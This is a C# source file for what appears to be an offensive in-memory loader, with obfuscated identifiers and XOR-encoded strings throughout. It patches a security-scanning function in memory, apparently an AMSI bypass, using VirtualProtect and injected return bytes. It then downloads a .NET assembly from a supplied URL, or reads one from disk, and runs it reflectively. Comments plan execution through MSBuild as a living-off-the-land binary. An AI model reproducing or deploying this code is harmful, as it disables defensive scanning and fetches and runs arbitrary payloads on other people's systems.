using System;
using System.IO;
using System.Net;
using System.Text;
using System.Reflection;
using System.Runtime.InteropServices;

//This if for MSBuild LOL bin stuff later
//using Microsoft.Build.Framework;
//using Microsoft.Build.Utilities;
public class MannitolsAviador{
    private static WebClient ToluateRepunish = new WebClient() { };
	[DllImport("kernel32", EntryPoint = "VirtualProtect")]
    private static extern bool VirtualProtect(IntPtr RegionalisticWrongheaded, UIntPtr OutdoneInterferometer, uint IotacismusColdheartedly, out uint PediatricsNonpursuant);
	[DllImport("kernel32", EntryPoint = "LoadLibrary")]
    private static extern IntPtr LoadLibrary(string SulphureosalineForescript);
	[DllImport("kernel32", EntryPoint = "GetProcAddress")]
    private static extern IntPtr GetProcAddress(IntPtr ForeignsMegatypy, string LegionariesThyrsoidal);
	private static IntPtr SapheadsOverfull(IntPtr SecretinsAvile)
    {
        uint TransportationalUngloves = 0;
        if (VirtualProtect(SecretinsAvile, (UIntPtr)SubarticulativeSpacemanship().Length, 0x40, out TransportationalUngloves))
        {
            return SecretinsAvile;
        }
        else
        {
            return (IntPtr)0;
        }
    }
	private static byte[] ReversementBiporous(string BucketfulIwwort)
    {
        return File.ReadAllBytes(BucketfulIwwort);
    }
	private static void BepommelStateless()
    {
        Console.WriteLine(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("CFQ0VB8kAAQ+BgQIH1VCRjwGASAAEg0WIQ=="), "SuitableParatuberculosis")));
        Console.WriteLine(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("ElM0RE86Chk1KhQUHABHChYsUjJJQhZZWSRlICI1LSY9MRkzPSxPLy4/PhA4NTcmOjI="), "IridotomyEupyrion")));
        Console.WriteLine(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("HlM0QzpOSA1DRxxVWVFFPR8AAAwPDQBVZRcREwQAERxVES4BHE8wICMrJjE+PC0tDVIIDQVDJD0yJgwwOjs2UhsbSQEETA4YNhdfV0EGCwwaFyQR"), "EricaceousAutoerotically")));
        Console.WriteLine(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("FFEtSTcgJiIxHTY3Nzs0QV5XUwAABAADDxUJSHASCwQdBAQdHQBvBB9JDgRUFQUjAFkMHgwTUx0cbzMjAQ0TBEUBPgcLGjgGCB0dUzgYFQdMCBoTCzsWHQ=="), "OppilatedPsychiasis")));
    }
	private static object LeucaenaSoilure(MethodInfo FrumpBombardments, object[] PachypleuriticThomsonite)
    {
        return FrumpBombardments.Invoke(null, PachypleuriticThomsonite);
    }
	private static MethodInfo BerylsMembranocartilaginous(Assembly asm)
    {
        return asm.EntryPoint;
    }
	private static byte[] BackscatteringUnmalicious(byte[] NonperceivablyHelsinki, string YachtmanshipConsumership)
    {
        byte[] CrossbarsLeptocephaly = Encoding.UTF8.GetBytes(YachtmanshipConsumership);
        byte[] IndigenousLikeability = new byte[NonperceivablyHelsinki.Length];
        for (int i = 0; i < NonperceivablyHelsinki.Length; i++)
        {
            IndigenousLikeability[i] = (byte)(NonperceivablyHelsinki[i] ^ CrossbarsLeptocephaly[i % CrossbarsLeptocephaly.Length]);
        }
        return IndigenousLikeability;
    }
	private static byte[] SubarticulativeSpacemanship()
    {
        if (System.Environment.Is64BitOperatingSystem)
            return new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
        return new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
    }
	private static void HamathiteSimplicize()
    {
        IntPtr SecretinsAvile = SapheadsOverfull(AllowanceUnjealously());
        if (SecretinsAvile != (IntPtr)0)
        {
            Marshal.Copy(SubarticulativeSpacemanship(), 0, SecretinsAvile, SubarticulativeSpacemanship().Length);
            Console.WriteLine(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("C14zWToGDi4MAAMJHB8FF0cgFBoaARYJbSg+IyZI"), "PunyismMispoising")));
        }
        else
        {
            Console.WriteLine(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("C1M4QjENFQ0LAAAAdCg9PC9GNRE7KScl"), "PrebalancingTipoffs")));
        }
    }
	public static void Main(string[] args)
    {
        Console.WriteLine(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("CFQ0VB8kAAQ+BgQIH1VCRjwGASAAEg0WIQ=="), "SuitableParatuberculosis")));
        ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
        try
        {
            string WarragalOverfeminine = "";
            string HygrometricRajbansi = "";
            //The valid amount of expected input args ranges between 1 -3
            if (args.Length > 0 && args.Length < 4)
            {
                //If the first arg is b64, expect the next one to be payload path, and check for payload args
                if ((args[0].ToLower().Equals(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("ZF8NWF0="), "IronicallyHarasses"))) || args[0].ToLower().Equals(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("LldA"), "LathesmanAbbrev")))) && args.Length > 2)
                {
                    HygrometricRajbansi = Encoding.UTF8.GetString(Convert.FromBase64String(args[1]));
                    WarragalOverfeminine = (args.Length == 3) ? Encoding.UTF8.GetString(Convert.FromBase64String(args[2])) : "";
                }
                else
                {
                    HygrometricRajbansi = (args.Length >= 1) ? args[0] : "";
                    WarragalOverfeminine = (args.Length >= 2) ? args[1] : "";
                }
                if (!string.IsNullOrWhiteSpace(HygrometricRajbansi))
                    EctadUnglue(WarragalOverfeminine, HygrometricRajbansi);
                else
                    BepommelStateless();
            }else if (args.Length == 0)
            {
                while (true)
                {
                    Console.WriteLine(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("DlE8UzoHFxsVQjRFOgZBQx8WFQpMCidOFAEfTkcaDkIJHTocQA=="), "UnassignableShadowable")));
                    Console.WriteLine(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("FlYuQScaGAcbUB8SNglDBAFMHBYJUl5zSQ=="), "MisanthroposBacksliders")));
                    string NitroprussiatePlexiglas = Console.ReadLine();
                    if (NitroprussiatePlexiglas.Trim().ToLower().Equals(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("PA=="), "DejectsDaffadowndillies"))))
                        Environment.Exit(0);
                    Console.WriteLine("[?] Input args (optional) -> ");
                    string intWarragalOverfeminine = Console.ReadLine();
                    if (!string.IsNullOrWhiteSpace(NitroprussiatePlexiglas))
                        EctadUnglue(intWarragalOverfeminine, NitroprussiatePlexiglas);
                }
            }
        }
        catch (Exception ex)
        {
            Console.WriteLine(ex.Message);
            Environment.Exit(0);
        }
    }
	private static object EctadUnglue(string TheismsPentatomidae, string NeuromastStiffeners)
    {
        HamathiteSimplicize();
        Console.WriteLine(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("GkkyQzoxJ0okESYtSVRE"), "AbococketPreindependently")) + NeuromastStiffeners);
        if (!string.IsNullOrEmpty(TheismsPentatomidae))
            Console.WriteLine(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("GEoxRCQADgAAJgEaHUVIYw=="), "CalderiumConner")) + TheismsPentatomidae);
        object[] UnweariablenessJiggers = new object[] { new string[] { TheismsPentatomidae } };
        if (!NeuromastStiffeners.ToLower().StartsWith(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("OxgbBg=="), "SlovakianUnderlye"))))
            return LeucaenaSoilure(BerylsMembranocartilaginous(PoopsBronzier(ReversementBiporous(NeuromastStiffeners))), UnweariablenessJiggers);
        return LeucaenaSoilure(BerylsMembranocartilaginous(PoopsBronzier(GawceyEntwines(NeuromastStiffeners))), UnweariablenessJiggers);
    }
	private static byte[] GawceyEntwines(string url)
    {
        return ToluateRepunish.DownloadData(url);
    }
	private static IntPtr AllowanceUnjealously()
    {
        return GetProcAddress(LoadLibrary(Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("LBgACkETOQI="), "MuscowUncommanderlike"))), Encoding.UTF8.GetString(BackscatteringUnmalicious(Convert.FromBase64String("FQgfDCMRCAA2EBQ1EBA="), "TeleprinterSuboptimums")));
    }
	private static Assembly PoopsBronzier(byte[] DiocesianAcidosteophyte)
    {
        return Assembly.Load(DiocesianAcidosteophyte);
    }
	    /*
	     //This is for MSBuild later
	    public class ClassExample : Task, ITask
	    {
	        public override bool Execute()
	        {
	            MannitolsAviador.Main(new string[] { });
	            return true;
	        }
	    }
	    */
}